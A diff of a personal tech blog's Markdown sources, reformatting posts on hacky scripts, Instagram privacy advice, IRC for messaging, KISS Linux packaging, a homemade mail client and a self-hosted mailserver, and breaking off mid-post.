playing # requires the last.fm API key@@ -71,11 +69,11 @@
if [[ "$NOWPLAYING" = "true" ]] then - TRACK=$(jq '.recenttracks.track[0].name' <<< "$RES" | tr -d '"') - ARTIST=$(jq '.recenttracks.track[0].artist."#text"' <<< "$RES" | tr -d '"') - echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST" + TRACK=$(jq '.recenttracks.track[0].name' <<< "$RES" | tr -d '"') + ARTIST=$(jq '.recenttracks.track[0].artist."#text"' <<< "$RES" | tr -d '"') + echo -ne "%{F$light}$TRACK %{F$fg}by $ARTIST" else - echo -ne "$NOTPLAYING" + echo -ne "$NOTPLAYING" fi ```@@ -88,24 +86,23 @@ what it looks like running:
 -Update latest post on the index page ------------------------------------- +## Update latest post on the index page This pertains to this very blog that you're reading. I wanted a quick way to update the "latest post" section in the home page and the -[blog](/blog) listing, with a link to the latest post. This would -require editing the Markdown -[source](https://github.com/icyphox/site/tree/master/pages) of both -pages. +[blog](/blog) listing, with a link to the latest post. This would require +editing the Markdown [source](https://github.com/icyphox/site/tree/master/pages) +of both pages. -This was a very interesting challenge to me, primarily because it -requires in-place editing of the file, not just appending. Sure, I -could've come up with some `sed` one-liner, but that didn't seem very -fun. Also I hate regexes. Did a lot of research (read: Googling) on -in-place editing of files in Python, sorting lists of files by -modification time etc. and this is what I ended up on, ultimately: +This was a very +interesting challenge to me, primarily because it requires in-place +editing of the file, not just appending. Sure, I could've come up with +some `sed` one-liner, but that didn't seem very fun. Also I hate +regexes. Did a lot of research (read: Googling) on in-place editing of +files in Python, sorting lists of files by modification time etc. and +this is what I ended up on, ultimately: -``` {.python} +```python #!/usr/bin/env python3 from markdown2 import markdown_path@@ -129,7 +126,7 @@ def update_index(s):
path = "../pages/_index.md" with open(path, "r") as f: md = f.readlines() - ruler = md.index("| --- | --: |\n") + ruler = md.index("| -- | --: |\n") md[ruler + 1] = s + "\n" with open(path, "w") as f:@@ -157,14 +154,16 @@ ```
I'm going to skip explaining this one out, but in essence, it's **one massive hack**. And in the end, that's my point exactly. It's very -hacky, but the sheer amount I learnt by writing this \~50 line script -can't be taught anywhere. +hacky, but the sheer amount I learnt by writing this ~50 +line script can't be taught anywhere. -This was partially how [vite](https://github.com/icyphox/vite) was born. -It was originally intended to be a script to build my site, but grew -into a full-blown Python package. I could've just used an off-the-shelf -static site generator given that there are [so -many](https://staticgen.com) of them, but I chose to write one myself. +This was partially how +[vite](https://github.com/icyphox/vite) was born. It was originally +intended to be a script to build my site, but grew into a full-blown +Python package. I could've just +used an off-the-shelf static site generator +given that there are [so many](https://staticgen.com) of them, but +I chose to write one myself. And that just about sums up what I wanted to say. The best and most fun -way to learn to code---write hacky scripts. You heard it here. +way to learn to code -- write hacky scripts. You heard it here.
M
pages/txt/ig-opsec.txt
→
pages/txt/ig-opsec.txt
@@ -1,122 +1,117 @@
--- -date: '2019-12-02' +template: +title: Instagram OPSEC subtitle: Operational security for the average zoomer -title: Instagram OPSEC -url: 'ig-opsec' +date: 2019-12-02 +url: ig-opsec --- Which I am not, of course. But seeing as most of my peers are, I am compelled to write this post. Using a social platform like Instagram automatically implies that the user understands (to some level) that their personally identifiable information is exposed publicly, and they -sign up for the service understanding this risk---or I think they do, +sign up for the service understanding this risk -- or I think they do, anyway. But that's about it, they go ham after that. Sharing every nitty gritty detail of their private lives without understanding the potential risks of doing so. The fundamentals of OPSEC dictacte that you develop a threat model, and -Instgrammers are *obviously* incapable of doing that---so I'll do it for -them. +Instgrammers are _obviously_ incapable of doing that -- so I'll do it +for them. -Your average Instagrammer's threat model ----------------------------------------- +## Your average Instagrammer's threat model I stress on the word "average", as in this doesn't apply to those with more than a couple thousand followers. Those type of accounts inherently -face different kinds of threats---those that come with having a -celebrity status, and are not in scope of this analysis. +face different kinds of threats -- those that come with having +a celebrity status, and are not in scope of this analysis. -- **State actors**: This doesn't *really* fit into our threat model, - since our target demographic is simply not important enough. That - said, there are select groups of individuals that operate on - Instagram[^1], and they can potentially be targetted by a state - actor. +- **State actors**: This doesn't _really_ fit into our threat model, +since our target demographic is simply not important enough. That said, +there are select groups of individuals that operate on +Instagram[^ddepisode], and they can potentially be targetted by a state +actor. -```{=html} -<!-- --> -``` -- **OSINT**: This is probably the biggest threat vector, simply - because of the amount of visual information shared on the platform. - A lot can be gleaned from one simple picture in a nondescript - alleyway. We'll get into this in the DOs and DON'Ts in a bit. +[^ddepisode]: https://darknetdiaries.com/episode/51/ -- Jack talks about Indian hackers who operate on Instagram. -- **Facebook & LE**: Instagram is the last place you want to be doing - an illegal, because well, it's logged and more importantly---not - end-to-end encrypted. Law enforcement can subpoena any and all - account information. Quoting Instagram's [page on - this](https://help.instagram.com/494561080557017): +- **OSINT**: This is probably the biggest threat vector, simply because +of the amount of visual information shared on the platform. A lot can be +gleaned from one simple picture in a nondescript alleyway. We'll get +into this in the DOs and DON'Ts in a bit. + +- **Facebook & LE**: Instagram is the last place you want to be doing an +illegal, because well, it's logged and more importantly -- not +end-to-end encrypted. Law enforcement can subpoena any and all account +information. Quoting Instagram's +[page on this](https://help.instagram.com/494561080557017): -> a search warrant issued under the procedures described in the Federal -> Rules of Criminal Procedure or equivalent state warrant procedures -> upon a showing of probable cause is required to compel the disclosure -> of the stored contents of any account, which may include messages, -> photos, comments, and location information. +>a search warrant issued under the procedures described in the Federal +>Rules of Criminal Procedure or equivalent state warrant procedures +>upon a showing of probable cause is required to compel the disclosure +>of the stored contents of any account, which may include messages, +>photos, comments, and location information. That out of the way, here's a list of DOs and DON'Ts to keep in mind while posting on Instagram. ### DON'Ts -- Use Instagram for planning and orchestrating illegal shit! I've - explained why this is a terrible idea above. Use secure comms---even - WhatsApp is a better choice, if you have nothing else. In fact, try - avoiding IG DMs altogether, use alternatives that implement E2EE. +- Use Instagram for planning and orchestrating illegal shit! I've +explained why this is a terrible idea above. Use secure comms -- even +WhatsApp is a better choice, if you have nothing else. In fact, try +avoiding IG DMs altogether, use alternatives that implement E2EE. -- Film live videos outside. Or try not to, if you can. You might - unknowingly include information about your location: street signs, - shops etc. These can be used to ascertain your current location. +- Film live videos outside. Or try not to, if you can. You might +unknowingly include information about your location: street signs, +shops etc. These can be used to ascertain your current location. -- Film live videos in places you visit often. This compromises your - security at places you're bound to be at. +- Film live videos in places you visit often. This compromises your +security at places you're bound to be at. -- Share your flight ticket in your story! I can't stress this - enough!!! Summer/winter break? "Look guys, I'm going home! Here's - where I live, and here's my flight number---feel free to track me!". - This scenario is especially worrisome because the start and end - points are known to the threat actor, and your arrival time can be - trivially looked up---thanks to the flight number on your ticket. - So, just don't. +- Share your flight ticket in your story! I can't stress this enough!!! +Summer/winter break? "Look guys, I'm going home! Here's where I live, +and here's my flight number -- feel free to track me!". This scenario is +especially worrisome because the start and end points are known to the +threat actor, and your arrival time can be trivially looked up -- thanks +to the flight number on your ticket. So, just don't. -- Post screenshots with OS specific details. This might border on - pendantic, but better safe than sorry. Your phone's statusbar and - navbar are better cropped out of pictures. They reveal the time, - notifications (apps that you use), and can be used to identify your - phone's operating system. Besides, the status/nav bar isn't very - useful to your screenshot anyway. +- Post screenshots with OS specific details. This might border on +pendantic, but better safe than sorry. Your phone's statusbar and navbar +are better cropped out of pictures. They reveal the time, notifications +(apps that you use), and can be used to identify your phone's operating +system. Besides, the status/nav bar isn't very useful to your screenshot +anyway. -- Share your voice. In general, reduce your footprint on the platform - that can be used to identify you elsewhere. +- Share your voice. In general, reduce your footprint on the platform +that can be used to identify you elsewhere. -- Think you're safe if your account is set to private. It doesn't take - much to get someone who follows you, to show show your profile on - their device. +- Think you're safe if your account is set to private. It doesn't take +much to get someone who follows you, to show show your profile on their +device. ### DOs -- Post pictures that pertain to a specific location, once you've moved - out of the location. Also applies to stories. It can wait. +- Post pictures that pertain to a specific location, once you've moved +out of the location. Also applies to stories. It can wait. -- Post pictures that have been shot indoors. Or try to; reasons above. - Who woulda thunk I'd advocate bathroom selfies? +- Post pictures that have been shot indoors. Or try to; reasons above. +Who woulda thunk I'd advocate bathroom selfies? -- Delete old posts that are irrelevant to your current audience. Your - friends at work don't need to know about where you went to high - school. +- Delete old posts that are irrelevant to your current audience. Your +friends at work don't need to know about where you went to high school. More DON'Ts than DOs, that's very telling. Here are a few more points that are good OPSEC practices in general: -- **Think before you share**. Does it conform to the rules mentioned - above? -- **Compartmentalize**. Separate as much as you can from what you - share online, from what you do IRL. Limit information exposure. -- **Assess your risks**: Do this often. People change, your - environments change, and consequentially the risks do too. +- **Think before you share**. Does it conform to the rules mentioned above? +- **Compartmentalize**. Separate as much as you can from what you share +online, from what you do IRL. Limit information exposure. +- **Assess your risks**: Do this often. People change, your environments +change, and consequentially the risks do too. -Fin ---- +## Fin -Instagram is---much to my dismay---far too popular for it to die any +Instagram is -- much to my dismay---far too popular for it to die any time soon. There are plenty of good reasons to stop using the platform altogether (hint: Facebook), but that's a discussion for another day.@@ -124,7 +119,6 @@ Or be like me:
 + And that pretty much wraps it up, with a neat little bow. -[^1]: https://darknetdiaries.com/episode/51/---Jack talks about Indian - hackers who operate on Instagram.
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pages/txt/intel-conundrum.txt
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pages/txt/intel-conundrum.txt
@@ -1,42 +1,39 @@
--- -date: '2019-10-28' -subtitle: 'To protect an asset, or to protect the people?' +template: title: The intelligence conundrum -url: 'intel-conundrum' +subtitle: To protect an asset, or to protect the people? +date: 2019-10-28 +url: intel-conundrum --- -I watched the latest -[S.W.A.T.](https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)) -episode a couple of days ago, and it highlighted some interesting issues -that intelligence organizations face when working with law enforcement. -Side note: it's a pretty good show if you like police procedurals. +I watched the latest [S.W.A.T.](https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)) +episode a couple of days ago, and it highlighted some interesting issues that +intelligence organizations face when working with law enforcement. Side note: it's a pretty +good show if you like police procedurals. -The problem ------------ +## The problem Consider the following scenario: -- There's a local drug lord who's been recruited to provide intel, by - a certain 3-letter organization. -- Local PD busts his operation and proceed to arrest him. -- 3-letter org steps in, wants him released. +- There's a local drug lord who's been recruited to provide intel, by a certain 3-letter organization. +- Local PD busts his operation and proceed to arrest him. +- 3-letter org steps in, wants him released. -So here's the thing, his presence is a threat to public but at the same -time, he can be a valuable long term asset---giving info on drug inflow, -exchanges and perhaps even actionable intel on bigger fish who exist on -top of the ladder. But he also seeks security. The 3-letter org must -provide him with protection, in case he's blown. And like in our case, -they'd have to step in if he gets arrested. +So here's the thing, his presence is a threat to public but at the same time, +he can be a valuable long term asset -- giving info on drug inflow, exchanges and perhaps even +actionable intel on bigger fish who exist on top of the ladder. But he also +seeks security. The 3-letter org must provide him with protection, +in case he's blown. And like in our case, they'd have to step in if he gets arrested. -Herein lies the problem. How far should an intelligence organization go -to protect an asset? Who matters more, the people they've sworn to -protect, or the asset? Because afterall, in the bigger picture, local PD -and intel orgs are on the same side. +Herein lies the problem. How far should an intelligence organization go to protect an asset? +Who matters more, the people they've sworn to protect, or the asset? +Because afterall, in the bigger picture, local PD and intel orgs are on the same side. -Thus, the question arises---how can we measure the "usefulness" of an -asset to better quantify the tradeoff that is to be made? Is the intel -gained worth the loss of public safety? This question remains largely -unanswered, and is quite the predicament should you find yourself in it. +Thus, the question arises -- how can we measure the "usefulness" of an +asset to better quantify the tradeoff that is to be made? +Is the intel gained worth the loss of public safety? +This question remains largely unanswered, and is quite the +predicament should you find yourself in it. This was a fairly short post, but an interesting problem to ponder nonetheless.
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pages/txt/irc-for-dms.txt
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pages/txt/irc-for-dms.txt
@@ -1,27 +1,26 @@
--- -date: '2019-11-03' -subtitle: 'Honestly, it''s pretty great' +template: title: IRC for DMs -url: 'irc-for-dms' +subtitle: Honestly, it's pretty great +date: 2019-11-03 +url: irc-for-dms --- [Nerdy](https://nerdypepper.me) and I decided to try and use IRC for our daily communications, as opposed to non-free alternatives like WhatsApp or Telegram. This is an account of how that went. -The status quo of instant messaging apps ----------------------------------------- +## The status quo of instant messaging apps -I've tried a *ton* of messaging applications---Signal, WhatsApp, -Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, -DeltaChat. +I've tried a _ton_ of messaging applications -- Signal, WhatsApp, +Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat. **Signal**: It straight up sucks on Android. Not to mention the centralized architecture, and OWS's refusal to federate. **WhatsApp**: Facebook's spyware that people use without a second -thought. The sole reason I have it installed is for University's class -groups; I can't wait to graduate. +thought. The sole reason I have it installed is for University's +class groups; I can't wait to graduate. **Telegram**: Centralized architecture and a closed-source server. It's got a very nice Android client, though.@@ -32,19 +31,18 @@ using it now... so if that's indicative of anything.
**Matrix (Riot)**: Distributed network. Multiple client implementations. Overall, pretty great, but it's slow. I've had messages not send / not -received a lot of times. Matrix + Riot excels in group communication, -but really sucks for one-to-one chats. +received a lot of times. Matrix + Riot excels in group communication, but +really sucks for one-to-one chats. -**Slack** / **Discord**: *sigh* +**Slack** / **Discord**: _sigh_ -**DeltaChat**: Pretty interesting idea---on paper. Using existing email +**DeltaChat**: Pretty interesting idea -- on paper. Using existing email infrastructure for IM sounds great, but it isn't all that cash in -practice. Email isn't instant, there's always a delay of give or take 5 -to 10 seconds, if not more. This affects the flow of conversation. I -might write a small blog post later, revewing DeltaChat.[^1] +practice. Email isn't instant, there's always a delay of give or take +5 to 10 seconds, if not more. This affects the flow of conversation. +I might write a small blog post later, revewing DeltaChat.[^deltachat] -Why IRC? --------- +## Why IRC? It's free, in all senses of the word. A lot of others have done a great job of answering this question in further detail, this is by far my@@ -52,50 +50,45 @@ favourite:
https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html -Using IRC's private messages ----------------------------- - +## Using IRC's private messages + This was the next obvious choice, but personal message buffers don't -persist in ZNC and it's very annoying to have to do a -`/query nerdypepper` (Weechat) or to search and message a user via -Revolution IRC. The only unexplored option---using a channel. +persist in ZNC and it's very annoying to have to do a `/query +nerdypepper` (Weechat) or to search and message a user via Revolution +IRC. The only unexplored option -- using a channel. -Setting up a channel for DMs ----------------------------- +## Setting up a channel for DMs A fairly easy process: -- Set modes (on Rizon)[^2]: - - #crimson [+ilnpstz 3] +* Set modes (on Rizon)[^modes]: - In essence, this limits the users to 3 (one bot), sets the channel - to invite only, hides the channel from `/whois` and `/list`, and a - few other misc. modes. + ``` + #crimson [+ilnpstz 3] + ``` + In essence, this limits the users to 3 (one bot), sets the channel to invite only, +hides the channel from `/whois` and `/list`, and a few other misc. +modes. -- Notifications: Also a trivial task; a quick modification to - [lnotify.py](https://weechat.org/scripts/source/lnotify.py.html/) to - send a notification for all messages in the specified buffer - (`#crimson`) did the trick for Weechat. Revolution IRC, on the other - hand, has an option to setup rules for notifications---super - convenient. +* Notifications: Also a trivial task; a quick modification to [lnotify.py](https://weechat.org/scripts/source/lnotify.py.html/) +to send a notification for all messages in the specified buffer +(`#crimson`) did the trick for Weechat. Revolution IRC, on the other +hand, has an option to setup rules for notifications -- super +convenient. -- A bot: Lastly, a bot for a few small tasks---fetching URL titles, - responding to `.np` (now playing) etc. Writing an IRC bot is dead - simple, and it took me about an hour or two to get most of the basic - functionality in place. The source is - [here](https://github.com/icyphox/detotated). It is by no means - "good code"; it breaks spectacularly from time to time. +* A bot: Lastly, a bot for a few small tasks -- fetching URL titles, responding +to `.np` (now playing) etc. Writing an IRC bot is dead simple, and it +took me about an hour or two to get most of the basic functionality in +place. The source is [here](https://github.com/icyphox/detotated). +It is by no means "good code"; it breaks spectacularly from time to +time. -In conclusion -------------- +## In conclusion As the subtitle suggests, using IRC has been great. It's probably not for everyone though, but it fits my (and Nerdy's) usecase perfectly. -P.S.: *I'm not sure why the footnotes are reversed.* - -[^1]: It's in [queue](https://github.com/icyphox/site/issues/10). +P.S.: _I'm not sure why the footnotes are reversed._ -[^2]: Channel modes on - [Rizon](https://wiki.rizon.net/index.php?title=Channel_Modes). +[^modes]: Channel modes on [Rizon](https://wiki.rizon.net/index.php?title=Channel_Modes). +[^deltachat]: It's in [queue](https://github.com/icyphox/site/issues/10).
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pages/txt/kiss-zen.txt
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pages/txt/kiss-zen.txt
@@ -1,41 +1,43 @@
--- -date: '2020-04-03' -subtitle: 'My thoughts on the distro, the philosophy and my experience - in general' +template: +url: kiss-zen title: The Zen of KISS Linux -url: 'kiss-zen' +subtitle: My thoughts on the distro, the philosophy and my experience in general +date: 2020-04-03 --- [I installed KISS](/blog/five-days-tty) early in January on my main -machine---an HP Envy 13 (2017), and I have since noticed a lot of -changes in my workflow, my approach to software (and its development), -and in life as a whole. I wouldn't call KISS "life changing", as that -would be overly dramatic, but it has definitely reshaped my outlook -towards technology---for better or worse. +machine -- an HP Envy 13 (2017), and I have since noticed a lot of changes +in my workflow, my approach to software (and its development), and in +life as a whole. I wouldn't call KISS "life changing", as that would be +overly dramatic, but it has definitely reshaped my outlook towards +technology -- for better or worse. -When I talk about KISS to people---online or IRL---I get some pretty -interesting reactions and comments.[^1] Ranging from "Oh cool." to "You -must be retarded.", I've heard it all. A classic and a personal -favourite of mine, "I don't use meme distros because I actually get work -done." It is actually, quite the opposite---I've been so much more -productive using KISS than any other operating system. I'll explain why -shortly. +When I talk about KISS to people -- online or IRL---I get some pretty +interesting reactions and comments.[^bringing-up-kiss] +Ranging from "Oh cool." to "You must be +retarded.", I've heard it all. A classic and a personal favourite of +mine, "I don't use meme distros because I actually get work done." It is +actually, quite the opposite -- I've been so much more productive using +KISS than any other operating system. I'll explain why shortly. + +[^bringing-up-kiss]: No, I don't go "I use KISS btw". I don't bring it + up unless provoked. The beauty of this "distro", is it isn't much of a distribution at all. There is no big team, no mailing lists, no infrastructure. The entire setup is so loose, and this makes it very convenient to swap things out for alternatives. The main (and potentially community) repos all reside -locally on your system. In the event that Dylan decides to call it quits -and switches to Windows, we can simply just bump versions ourselves, -locally! The [KISS Guidestones](https://k1ss.org/guidestones) document -is a good read. +locally on your system. In the event that Dylan decides to call it +quits and switches to Windows, we can simply just bump versions +ourselves, locally! The [KISS Guidestones](https://k1ss.org/guidestones) +document is a good read. In the subseqent paragraphs, I've laid out the different things about KISS that stand out to me, and make using the system a lot more enjoyable. -the package system ------------------- +## the package system Packaging for KISS has been delightful, to say the least. It takes me about 2 mins to write and publish a new package. Here's the `radare2`@@ -43,7 +45,7 @@ package, which I maintain, for example.
The `build` file (executable): -``` {.sh} +```sh #!/bin/sh -e ./configure \@@ -54,57 +56,58 @@ make DESTDIR="$1" install
``` The `version` file: - - 4.3.1 1 +``` +4.3.1 1 +``` The `checksums` file (generated using `kiss checksum radare2`): - - 4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz +``` +4abcb9c9dff24eab44d64d392e115ae774ab1ad90d04f2c983d96d7d7f9476aa 4.3.1.tar.gz +``` And finally, the `sources` file: - - https://github.com/radareorg/radare2/archive/4.3.1.tar.gz +``` +https://github.com/radareorg/radare2/archive/4.3.1.tar.gz +``` This is literally the bare minimum that you need to define a package. There's also the `depends` file where you specify the dependencies for -your package. `kiss` also generates a `manifests` file to track all the -files and directories that your package creates during installation, for -their removal, if and when that occurs. Now compare this process with -any other distribution's. +your package. +`kiss` also generates a `manifests` file to track all the files and +directories that your package creates during installation, for their +removal, if and when that occurs. Now compare this process with any +other distribution's. -the community -------------- +## the community As far as I know, it mostly consists of the `#kisslinux` channel on Freenode and the [r/kisslinux](https://old.reddit.com/r/kisslinux) subreddit. It's not that big, but it's suprisingly active, and super -helpful. There have been some interested new KISS-related projects too: -[kiss-games](https://github.com/sdsddsd1/kiss-games)---a repository for, -well, Linux games; -[kiss-ppc64le](https://github.com/jedavies-dev/kiss-ppc64le) and -[kiss-aarch64](https://github.com/jedavies-dev/kiss-aarch64)---KISS -Linux ports for PowerPC and ARM64 architectures; -[wyvertux](https://github.com/wyvertux/wyvertux)---an attempt at a -GNU-free Linux distribution, using KISS as a base; and tons more. +helpful. There have been some interested new KISS-related projects +too: [kiss-games](https://github.com/sdsddsd1/kiss-games) -- a repository +for, well, Linux games; [kiss-ppc64le](https://github.com/jedavies-dev/kiss-ppc64le) +and [kiss-aarch64](https://github.com/jedavies-dev/kiss-aarch64) -- KISS +Linux ports for PowerPC and ARM64 architectures; +[wyvertux](https://github.com/wyvertux/wyvertux) -- an attempt at +a GNU-free Linux distribution, using KISS as a base; and tons more. -the philosophy --------------- +## the philosophy Software today is far too complex. And its complexity is only growing. -Some might argue that this is inevitable, and it is in fact progress. I -disagree. Blindly adding layers and layers of abstraction (Docker, +Some might argue that this is inevitable, and it is in fact progress. +I disagree. Blindly adding layers and layers of abstraction (Docker, modern web "apps") isn't progress. Look at the Linux desktop ecosystem -today, for example---monstrosities like GNOME and KDE are a result of +today, for example -- monstrosities like GNOME and KDE are a result of this...new wave software engineering. I see KISS as a symbol of defiance against this malformed notion. You -don't *need* all the bloat these DEs ship with to have a usable system. +don't _need_ all the bloat these DEs ship with to have a usable system. Agreed, it's a bit more effort to get up and running, but it is entirely -worth it. Think of it as a clean table---feels good to sit down and work -on, doesn't it? +worth it. Think of it as a clean table -- feels good to sit down and work on, +doesn't it? Let's take my own experience, for example. One of the initial few -software I used to install on a new system was `dunst`---a notification +software I used to install on a new system was `dunst` -- a notification daemon. Unfortunately, it depends on D-Bus, which is Poetterware; ergo, not on KISS. However, using a system without notifications has been very pleasant. Nothing to distract you while you're in the zone.@@ -112,27 +115,24 @@
Another instance, again involving D-Bus (or not), is Bluetooth audio. As it happens, my laptop's 3.5mm jack is rekt, and I need to use Bluetooth for audio, if at all. Sadly, Bluetooth audio on Linux hard-depends on -D-Bus. Bluetooth stacks that don't rely on D-Bus do exist, like on -Android, but porting them over to desktop is non-trivial. However, I -used this to my advantage and decided not to consume media on my laptop. -This has drastically boosted my productivity, since I literally cannot -watch YouTube even if I wanted to. My laptop is now strictly work-only. +D-Bus. Bluetooth stacks that don't rely on D-Bus do exist, like on Android, +but porting them over to desktop is non-trivial. However, I used this to +my advantage and decided not to consume media on my laptop. This has +drastically boosted my productivity, since I literally cannot watch +YouTube even if I wanted to. My laptop is now strictly work-only. If I do need to watch the occasional video / listen to music, I use my phone. Compartmentalizing work and play to separate devices has worked out pretty well for me. I'm slowly noticing myself favor low-tech (or no-tech) solutions to -simple problems too. Like notetaking---I've tried plaintext files, Vim +simple problems too. Like notetaking -- I've tried plaintext files, Vim Wiki, Markdown, but nothing beats actually using pen and paper. Tech, from what I can see, doesn't solve problems very effectively. In some cases, it only causes more of them. I might write another post -discussing my thoughts on this in further detail. +discussing my thoughts on this in further detail. I'm not sure what I intended this post to be, but I'm pretty happy with the mindspill. To conclude this already long monologue, let me clarify one little thing y'all are probably thinking, "Okay man, are you suggesting that we regress to the Dark Ages?". No, I'm not suggesting that we regress, but rather, progress mindfully. - -[^1]: No, I don't go "I use KISS btw". I don't bring it up unless - provoked.
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--- -date: '2020-03-29' +template: +url: mael +title: Introducing mael subtitle: An experimental mail client -title: Introducing mael -url: mael +date: 2020-03-29 --- **Update**: The code lives here: https://github.com/icyphox/mael I've been on the lookout for a good terminal-based email client since forever, and I've tried almost all of them. The one I use right now -sucks a little less---[aerc](https://git.sr.ht/~sircmpwn/aerc). I have +sucks a little less -- [aerc](https://git.sr.ht/~sircmpwn/aerc). I have some gripes with it though, like the problem with outgoing emails not -getting copied to the Sent folder, and instead erroring out with a -cryptic `EOF`---that's literally all it says. I've tried mutt, but I -find it a little excessive. It feels like the weechat of email---to many -features that you'll probably never use. +getting copied to the Sent folder, and instead erroring out with +a cryptic `EOF` -- that's literally all it says. +I've tried mutt, but I find it a little excessive. It feels like the +weechat of email -- to many features that you'll probably never use. -I need something clean and simple, less bloated (for the lack of a -better term). This is what motivated me to try writing my own. The +I need something clean and simple, less bloated (for the lack of +a better term). This is what motivated me to try writing my own. The result of this (and not to mention, being holed up at home with nothing -better to do), is **mael**.[^1] +better to do), is **mael**.[^oss] + +[^oss]: I have yet to open source it; this post will be updated with + a link to it when I do. mael isn't like your usual TUI clients. I envision this to turn out -similar to mailx---a prompt-based UI. The reason behind this UX decision +similar to mailx -- a prompt-based UI. The reason behind this UX decision is simple: it's easier for me to write. :) Speaking of writing it, it's being written in a mix of Python and bash. -Why? Because Python's `email` and `mailbox` modules are fantastic, and I -don't think I want to parse Maildirs in bash. "But why not pure Python?" -Well, I'm going to be shelling out a lot (more on this in a bit), and -writing interactive UIs in bash is a lot more intuitive, thanks to some -of the nifty features that later versions of bash have---`read`, +Why? Because Python's `email` and `mailbox` modules are fantastic, and +I don't think I want to parse Maildirs in bash. "But why not pure +Python?" Well, I'm going to be shelling out a lot (more on this in a bit), +and writing interactive UIs in bash is a lot more intuitive, thanks to +some of the nifty features that later versions of bash have -- `read`, `mapfile` etc. The reason I'm shelling out is because two key components to this -client, that I haven't yet talked about---`mbsync` and `msmtp` are in +client, that I haven't yet talked about -- `mbsync` and `msmtp` are in use, for IMAP and SMTP respectively. And `mbsync` uses the Maildir format, which is why I'm relying on Python's `mailbox` package. Why is this in the standard library anyway?!@@ -42,25 +46,22 @@
The architecture of the client is pretty interesting (and possibly very stupid), but here's what happens: -- UI and prompt stuff in bash -- emails are read using `less` -- email templates (RFC 2822) are parsed and generated in Python -- this is sent to bash in STDOUT, like +- UI and prompt stuff in bash +- emails are read using `less` +- email templates (RFC 2822) are parsed and generated in Python +- this is sent to bash in STDOUT, like -``` {.sh} +```sh msg="$(./mael-parser "$maildir_message_path")" ``` -These kind of one-way (bash -\> Python) calls are what drive the entire +These kind of one-way (bash -> Python) calls are what drive the entire process. I'm not sure what to think of it. Perhaps I might just give up -and write the entire thing in Python. Or...I might just scrap this -entirely and just shut up and use aerc. I don't know yet. The code does -seem to be growing in size rapidly. It's about \~350 LOC in two days of -writing (Python + bash). New problems arise every now and then and it's -pretty hard to keep track of all of this. It'll be cool when it's all -done though (I think). +and write the entire thing in Python. +Or...I might just scrap this entirely and just shut up and use aerc. +I don't know yet. The code does seem to be growing in size rapidly. It's +about ~350 LOC in two days of writing (Python + bash). New problems +arise every now and then and it's pretty hard to keep track of all of +this. It'll be cool when it's all done though (I think). If only things just worked. - -[^1]: I have yet to open source it; this post will be updated with a - link to it when I do.
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--- -date: '2019-08-15' -subtitle: This is probably a terrible idea... template: text.html title: Setting up my personal mailserver +subtitle: This is probably a terrible idea… +date: 2019-08-15 url: mailserver --- -A mailserver was a long time coming. I'd made an attempt at setting one -up around \~4 years ago (ish), and IIRC, I quit when it came to DNS. And +A mailserver was a long time coming. I'd made an attempt at setting one up +around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.[^1] For this attempt, I wanted a simpler approach. I recall how terribly -confusing Dovecot & Postfix were to configure and hence I decided to -look for a containerized solution, that most importantly, runs on my -cheap \$5 Digital Ocean VPS --- 1 vCPU and 1 GB memory. Of which only -around 500 MB is actually available. So yeah, *pretty* tight. +confusing Dovecot & Postfix were to configure and hence I decided to look +for a containerized solution, that most importantly, runs on my cheap $5 +Digital Ocean VPS -- 1 vCPU and 1 GB memory. Of which only around 500 MB +is actually available. So yeah, *pretty* tight. -What's available ----------------- +## What's available -Turns out, there are quite a few of these OOTB, ready to deply -solutions. These are the ones I came across: +Turns out, there are quite a few of these OOTB, ready to deply solutions. +These are the ones I came across: -- [poste.io](https://poste.io): Based on an "open core" model. The - base install is open source and free (as in beer), but you'll have - to pay for the extra stuff. +- [poste.io](https://poste.io): Based on an "open core" model. The base install is open source +and free (as in beer), but you'll have to pay for the extra stuff. -- [mailu.io](https://mailu.io): Free software. Draws inspiration from - poste.io, but ships with a web UI that I didn't need. +- [mailu.io](https://mailu.io): Free software. Draws inspiration from poste.io, +but ships with a web UI that I didn't need. -- [mailcow.email](https://mailcow.email): These fancy domains are - getting ridiculous. But more importantly they need 2 GiB of RAM - *plus* swap?! Nope. +- [mailcow.email](https://mailcow.email): These fancy domains are getting ridiculous. But more importantly +they need 2 GiB of RAM *plus* swap?! Nope. -- [Mail-in-a-Box](https://mailinabox.email): Unlike the ones above, - not a Docker-based solution but definitely worth a mention. It - however, needs a fresh box to work with. A box with absolutely - nothing else on it. I can't afford to do that. +- [Mail-in-a-Box](https://mailinabox.email): Unlike the ones above, not a Docker-based solution but definitely worth +a mention. It however, needs a fresh box to work with. A box with absolutely +nothing else on it. I can't afford to do that. -- [docker-mailserver](https://github.com/tomav/docker-mailserver/): - **The winner**. +- [docker-mailserver](https://github.com/tomav/docker-mailserver/): **The winner**. -So... `docker-mailserver` -------------------------- +## So… `docker-mailserver` The first thing that caught my eye in the README: > Recommended: -> -> - 1 CPU -> - 1GB RAM -> +> +> - 1 CPU +> - 1GB RAM +> > Minimum: -> -> - 1 CPU -> - 512MB RAM +> +> - 1 CPU +> - 512MB RAM -Fantastic, I can somehow squeeze this into my existing VPS. Setup was -fairly simple & the docs are pretty good. It employs a single `.env` -file for configuration, which is great. However, I did run into a couple -of hiccups here and there. +Fantastic, I can somehow squeeze this into my existing VPS. +Setup was fairly simple & the docs are pretty good. It employs a single +`.env` file for configuration, which is great. +However, I did run into a couple of hiccups here and there. -One especially nasty one was `docker` / `docker-compose` running out of -memory. - - Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory - +One especially nasty one was `docker` / `docker-compose` running out +of memory. +``` +Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory +``` But it eventually worked after a couple of attempts. -The next thing I struggled with --- DNS. Specifically, the with the step -where the DKIM keys are generated[^2]. The output 